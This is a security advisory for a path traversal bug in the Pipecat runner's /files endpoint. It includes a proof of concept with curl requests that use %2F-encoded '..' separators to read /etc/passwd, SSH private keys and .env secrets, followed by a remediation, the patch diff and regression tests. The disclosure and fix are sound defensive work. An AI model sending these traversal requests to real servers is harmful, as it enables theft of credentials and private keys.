Pipecat: Path Traversal in Pipecat Runner `/files` Endpoint — Arbitrary File Read via `%2F`-Encoded Separator
Description
Summary
A path traversal vulnerability exists in Pipecat's development runner (src/pipecat/runner/run.py). When the runner is started with the --folder flag, it exposes a GET /files/{filename:path} download endpoint. The filename path parameter is concatenated directly onto args.folder with no containment check. Starlette normalises literal ../ sequences in URLs, but %2F-encoded slashes bypass this normalisation: the path parameter is URL-decoded *after* routing, so ..%2F..%2Fetc%2Fpasswd resolves to a path two levels above args.folder. An attacker with network access to the runner can read any file the pipecat process has permission to access — including SSH private keys, credentials, and system files — with a single unauthenticated HTTP request.
Confirmed on pipecat-ai 1.1.0 (latest PyPI release) and commit f078df78058ae82a02ce5b23e9e3a99a0917a53d.
---
Details
The vulnerable code is in src/pipecat/runner/run.py, inside the _configure_server_app() function, lines 249–264:
@app.get("/files/{filename:path}")
async def download_file(filename: str):
"""Handle file downloads."""
if not args.folder:
logger.warning(f"Attempting to dowload {filename}, but downloads folder not setup.")
return
file_path = Path(args.folder) / filename # ← no containment check
if not os.path.exists(file_path):
raise HTTPException(404)
media_type, _ = mimetypes.guess_type(file_path)
return FileResponse(path=file_path, media_type=media_type, filename=filename)
Path(args.folder) / filename joins the caller-supplied filename onto the base directory without calling .resolve() or checking is_relative_to. Python's pathlib does not strip .. segments during join — only .resolve() does. Starlette strips literal ../ from the *URL path* before the route handler runs, but it decodes percent-encoded characters *inside* the matched path parameter value. Because %2F decodes to / after the router has already matched the route, the value that reaches filename can contain / characters, enabling directory traversal.
For example:
GET /files/..%2F..%2Fetc%2Fpasswd
↓
filename = "../../etc/passwd" (after Starlette decodes %2F)
file_path = Path("/tmp/media") / "../../etc/passwd"
= Path("/tmp/media/../../etc/passwd")
→ resolves to /etc/passwd (os.path.exists returns True)
The endpoint has no authentication — the runner does not implement any auth layer — so the request requires no credentials.
---
Proof of
Concept
Step 1 — Start the Pipecat runner with --folder
The runner requires a bot script with a bot() entry point. A minimal script that keeps the HTTP server alive without any transport logic:
# minimal_bot.py
async def bot(runner_args):
import asyncio
await asyncio.sleep(86400)
if __name__ == "__main__":
from pipecat.runner.run import main
main()
Start the runner:
pip install "pipecat-ai[runner,webrtc]"
mkdir /tmp/bot_media
echo "session transcript" > /tmp/bot_media/recording.txt
python minimal_bot.py \
-t webrtc \
--host 127.0.0.1 \
--port 7860 \
--folder /tmp/bot_media
Expected output: <img width="1626" height="462" alt="image" src="https://github.com/user-attachments/assets/912e8ea2-cff9-4a36-a6be-e85091d9f89f" />
Step 2 — Exploit
# Legitimate request — serves a file inside --folder
curl "http://127.0.0.1:7860/files/recording.txt"
# → session transcript
# Literal ../ — blocked by Starlette path normalisation
curl "http://127.0.0.1:7860/files/../../etc/passwd"
# → {"detail":"Not Found"}
# %2F-encoded separators — bypass normalisation, read /etc/passwd
curl "http://127.0.0.1:7860/files/..%2F..%2Fetc%2Fpasswd"
# →
## User
Database
# root:*:0:0:System Administrator:/var/root:/bin/sh
# ...
# Read SSH private key
curl "http://127.0.0.1:7860/files/..%2F..%2F..%2Fhome%2Fuser%2F.ssh%2Fid_rsa"
# → -----BEGIN OPENSSH PRIVATE KEY-----
# b3BlbnNzaC1rZXktdjEAAAA...
# Read application secrets
curl "http://127.0.0.1:7860/files/..%2F..%2F.env"
Confirmed results (pipecat-ai 1.1.0, tested 2026-04-29)
| Request | HTTP status | Content | |---------|-------------|---------| | GET /files/recording.txt | 200 | Legitimate file | | GET /files/../../etc/passwd | 404 | Blocked — literal .. normalised away | | GET /files/..%2F..%2Fetc%2Fpasswd | 200 | Full /etc/passwd | | GET /files/..%2F..%2F..%2Fhome/…/.ssh/id_rsa | 200 | RSA private key (BEGIN OPENSSH PRIVATE KEY) | <img width="2222" height="516" alt="image" src="https://github.com/user-attachments/assets/4c7a014c-8646-479a-8439-b8e722a69e49" /> <img width="1304" height="314" alt="image" src="https://github.com/user-attachments/assets/14f71b3f-2a35-4d2b-8049-8af758fbc6ba" /> <img width="1188" height="390" alt="image" src="https://github.com/user-attachments/assets/53fe2b33-2cd3-4745-b9f2-7aa426318e00" />
---
Impact
The --folder flag is a documented, first-class feature of the runner: the runner_downloads_folder() helper and -f / --folder CLI argument are part of the public API. The runner documentation includes LAN-deployment examples (--host 192.168.1.100 for ESP32 integration). In those deployments, any host on the local network can exploit this with zero credentials.
An attacker who can reach the runner port and knows --folder is active can retrieve any file readable by the pipecat process:
- SSH private keys and TLS certificates
.envfiles and application credentials- Database files, session tokens, API keys
- System files such as
/etc/passwdand/etc/shadow(on Linux) - Source code, config files, and secrets in parent directories of
--folder
---
Remediation
Call .resolve() on both the base path and the joined path, then assert containment with is_relative_to:
@app.get("/files/{filename:path}")
async def download_file(filename: str):
if not args.folder:
logger.warning(f"Attempting to dowload {filename}, but downloads folder not setup.")
return
allowed_base = Path(args.folder).resolve()
file_path = (allowed_base / filename).resolve() # resolve AFTER join
if not file_path.is_relative_to(allowed_base): # containment check
raise HTTPException(status_code=403, detail="Access denied")
if not file_path.exists():
raise HTTPException(status_code=404)
media_type, _ = mimetypes.guess_type(file_path)
return FileResponse(path=file_path, media_type=media_type, filename=file_path.name)
Path.resolve() expands all .. components and follows symlinks before is_relative_to compares the paths, so neither %2F-encoded separators nor symlink chains can escape the allowed base.
Affected products
1- Range: >= 0.0.90, < 1.2.0
Patches
17519c26ac550Merge pull request #4417 from pipecat-ai/mb/resolve-runner-filepath
5 files changed · +103 −5
changelog/4417.security.md+1 −0 added@@ -0,0 +1 @@ +- Fixed a path traversal issue in the development runner's `/files/{filename:path}` download endpoint. Previously, when the runner was started with `--folder`, a request like `/files/..%2F..%2Fetc%2Fpasswd` could escape the configured folder because `%2F`-encoded separators bypassed Starlette's path normalisation. The endpoint now resolves the joined path and rejects any filename that escapes the allowed base with a 403, and also returns 404 (instead of an implicit `null` 200) when `--folder` is unset.
.github/workflows/coverage.yaml+1 −0 modified@@ -42,6 +42,7 @@ jobs: --extra langchain \ --extra livekit \ --extra piper \ + --extra runner \ --extra sagemaker \ --extra tracing \ --extra websocket
.github/workflows/tests.yaml+1 −0 modified@@ -46,6 +46,7 @@ jobs: --extra langchain \ --extra livekit \ --extra piper \ + --extra runner \ --extra sagemaker \ --extra tracing \ --extra websocket
src/pipecat/runner/run.py+16 −5 modified@@ -209,6 +209,17 @@ def _configure_server_app(args: argparse.Namespace): logger.warning(f"Unknown transport type: {args.transport}") +def _resolve_download_path(folder: str, filename: str) -> Path: + """Resolve a download path and ensure it stays within the downloads folder.""" + allowed_base = Path(folder).resolve() + file_path = (allowed_base / filename).resolve() + + if not file_path.is_relative_to(allowed_base): + raise HTTPException(status_code=403, detail="Access denied") + + return file_path + + def _setup_webrtc_routes(app: FastAPI, args: argparse.Namespace): """Set up WebRTC-specific routes.""" try: @@ -250,16 +261,16 @@ async def root_redirect(): async def download_file(filename: str): """Handle file downloads.""" if not args.folder: - logger.warning(f"Attempting to dowload {filename}, but downloads folder not setup.") - return + logger.warning(f"Attempting to download {filename}, but downloads folder not setup.") + raise HTTPException(404) - file_path = Path(args.folder) / filename - if not os.path.exists(file_path): + file_path = _resolve_download_path(args.folder, filename) + if not file_path.exists(): raise HTTPException(404) media_type, _ = mimetypes.guess_type(file_path) - return FileResponse(path=file_path, media_type=media_type, filename=filename) + return FileResponse(path=file_path, media_type=media_type, filename=file_path.name) # Initialize the SmallWebRTC request handler small_webrtc_handler: SmallWebRTCRequestHandler = SmallWebRTCRequestHandler(
tests/test_runner_downloads.py+84 −0 added@@ -0,0 +1,84 @@ +# +# Copyright (c) 2024-2026, Daily +# +# SPDX-License-Identifier: BSD 2-Clause License +# + +import os +import tempfile +import unittest +from pathlib import Path + +from fastapi import HTTPException + +from pipecat.runner.run import _resolve_download_path + + +class TestRunnerDownloads(unittest.TestCase): + def test_resolve_download_path_allows_files_inside_folder(self): + with tempfile.TemporaryDirectory() as tmpdir: + downloads = Path(tmpdir) / "downloads" + nested = downloads / "nested" + nested.mkdir(parents=True) + file_path = nested / "recording.txt" + file_path.write_text("session transcript") + + resolved = _resolve_download_path(str(downloads), "nested/recording.txt") + + self.assertEqual(resolved, file_path.resolve()) + + def test_resolve_download_path_blocks_parent_traversal(self): + with tempfile.TemporaryDirectory() as tmpdir: + root = Path(tmpdir) + downloads = root / "downloads" + downloads.mkdir() + (root / "secret.txt").write_text("secret") + + with self.assertRaises(HTTPException) as context: + _resolve_download_path(str(downloads), "../secret.txt") + + self.assertEqual(context.exception.status_code, 403) + + def test_resolve_download_path_blocks_decoded_encoded_slashes(self): + with tempfile.TemporaryDirectory() as tmpdir: + root = Path(tmpdir) + downloads = root / "media" + downloads.mkdir() + outside = root / "outside" + outside.mkdir() + (outside / "secret.txt").write_text("secret") + + with self.assertRaises(HTTPException) as context: + _resolve_download_path(str(downloads), "../outside/secret.txt") + + self.assertEqual(context.exception.status_code, 403) + + def test_resolve_download_path_blocks_absolute_paths(self): + with tempfile.TemporaryDirectory() as tmpdir: + downloads = Path(tmpdir) / "downloads" + downloads.mkdir() + + with self.assertRaises(HTTPException) as context: + _resolve_download_path(str(downloads), "/etc/passwd") + + self.assertEqual(context.exception.status_code, 403) + + @unittest.skipUnless(hasattr(os, "symlink"), "os.symlink is not available") + def test_resolve_download_path_blocks_symlink_escape(self): + with tempfile.TemporaryDirectory() as tmpdir: + root = Path(tmpdir) + downloads = root / "downloads" + outside = root / "outside" + downloads.mkdir() + outside.mkdir() + (outside / "secret.txt").write_text("secret") + + try: + os.symlink(outside, downloads / "linked") + except OSError as e: + self.skipTest(f"Unable to create symlink: {e}") + + with self.assertRaises(HTTPException) as context: + _resolve_download_path(str(downloads), "linked/secret.txt") + + self.assertEqual(context.exception.status_code, 403)
Vulnerability mechanics
AI mechanics synthesis has not run for this CVE yet.
References
5- github.com/advisories/GHSA-3363-2ph6-35whghsaADVISORY
- github.com/pipecat-ai/pipecat/commit/7519c26ac5508573c35fa3a9c4717b013993d129ghsa
- github.com/pipecat-ai/pipecat/pull/4417ghsa
- github.com/pipecat-ai/pipecat/releases/tag/v1.2.0ghsa
- github.com/pipecat-ai/pipecat/security/advisories/GHSA-3363-2ph6-35whghsa
News mentions
0No linked articles in our index yet.